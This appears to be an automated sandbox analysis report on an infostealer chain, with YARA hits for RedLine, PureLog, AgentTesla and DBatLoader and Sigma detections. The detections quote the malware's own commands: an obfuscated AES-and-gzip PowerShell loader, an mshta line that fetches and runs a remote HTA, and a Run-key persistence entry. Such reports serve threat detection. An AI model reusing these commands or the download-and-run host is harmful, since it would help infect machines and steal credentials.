Process Memory Space: bwsiuvcU.pif PID: 2196	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: bwsiuvcU.pif PID: 2324	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bwsiuvcU.pif PID: 2324	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 61 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
27.3.bwsiuvcU.pif.3bd8fed0.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.bwsiuvcU.pif.3ee39b90.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.bwsiuvcU.pif.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
23.2.bwsiuvcU.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
25.1.bwsiuvcU.pif.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
25.1.bwsiuvcU.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
25.1.bwsiuvcU.pif.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
25.1.bwsiuvcU.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
23.1.bwsiuvcU.pif.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
23.1.bwsiuvcU.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
23.2.bwsiuvcU.pif.3ede5570.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.26fc9b90.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.284a0f08.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.bwsiuvcU.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
23.2.bwsiuvcU.pif.40260000.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
25.2.bwsiuvcU.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
27.2.bwsiuvcU.pif.3daa5566.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.bwsiuvcU.pif.3dad5566.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.bwsiuvcU.pif.3ee39b90.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.409b0000.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.bwsiuvcU.pif.3dad646e.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.3ed35570.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.284a0000.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.3daa5566.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.1.bwsiuvcU.pif.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.1.bwsiuvcU.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
23.2.bwsiuvcU.pif.40260f08.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.bwsiuvcU.pif.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
23.2.bwsiuvcU.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
25.2.bwsiuvcU.pif.26f76478.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.1.bwsiuvcU.pif.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
23.1.bwsiuvcU.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
23.2.bwsiuvcU.pif.40260000.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.3.bwsiuvcU.pif.3bd8fed0.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.3daa646e.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.40350000.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.bwsiuvcU.pif.3dad646e.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.3daa646e.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.3ed35570.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.26f75570.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.bwsiuvcU.pif.3ede5570.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.25dd646e.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.28c40000.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.bwsiuvcU.pif.3ede6478.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.28c40000.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.3ed36478.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.bwsiuvcU.pif.40260f08.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.3ed36478.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.uc.exe.2980000.3.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
27.2.bwsiuvcU.pif.3ed89b90.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.26f75570.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.25dd646e.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.284a0f08.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.25dd5566.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.284a0000.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.40350f08.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.bwsiuvcU.pif.409c0000.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.26f76478.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.409b0000.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.40350000.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.bwsiuvcU.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
23.2.bwsiuvcU.pif.409c0000.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.bwsiuvcU.pif.3dad5566.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.26fc9b90.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.1.bwsiuvcU.pif.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.1.bwsiuvcU.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
25.2.bwsiuvcU.pif.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
25.2.bwsiuvcU.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
27.2.bwsiuvcU.pif.40350f08.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.bwsiuvcU.pif.25dd5566.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
27.2.bwsiuvcU.pif.3ed89b90.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.bwsiuvcU.pif.3ede6478.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.3.bwsiuvcU.pif.3bdc99c8.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.3.bwsiuvcU.pif.3bdc99c8.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 72 entries

Other

Source	Rule	Description	Author	Strings
amsi64_7800.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc049:$b1: ::WriteAllBytes( 0xbcbc:$s1: -join 0x5468:$s4: += 0x552a:$s4: += 0x9751:$s4: += 0xb86e:$s4: += 0xbb58:$s4: += 0xbc9e:$s4: += 0xe383:$s4: += 0xe403:$s4: += 0xe4c9:$s4: += 0xe549:$s4: += 0xe71f:$s4: += 0xe7a3:$s4: += 0xc86c:$e4: Get-WmiObject 0xca5b:$e4: Get-Process 0xcab3:$e4: Start-Process

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW | powershell -, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\bwsiuvcU.pif, CommandLine: C:\Users\Public\Libraries\bwsiuvcU.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\bwsiuvcU.pif, NewProcessName: C:\Users\Public\Libraries\bwsiuvcU.pif, OriginalFileName: C:\Users\Public\Libraries\bwsiuvcU.pif, ParentCommandLine: "C:\Users\user\AppData\Roaming\uc.exe" , ParentImage: C:\Users\user\AppData\Roaming\uc.exe, ParentProcessId: 8080, ParentProcessName: uc.exe, ProcessCommandLine: C:\Users\Public\Libraries\bwsiuvcU.pif, ProcessId: 6340, ProcessName: bwsiuvcU.pif

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Ucvuiswb.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\uc.exe, ProcessId: 8080, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ucvuiswb

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta, CommandLine: "C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5632, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta, ProcessId: 7260, ProcessName: mshta.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

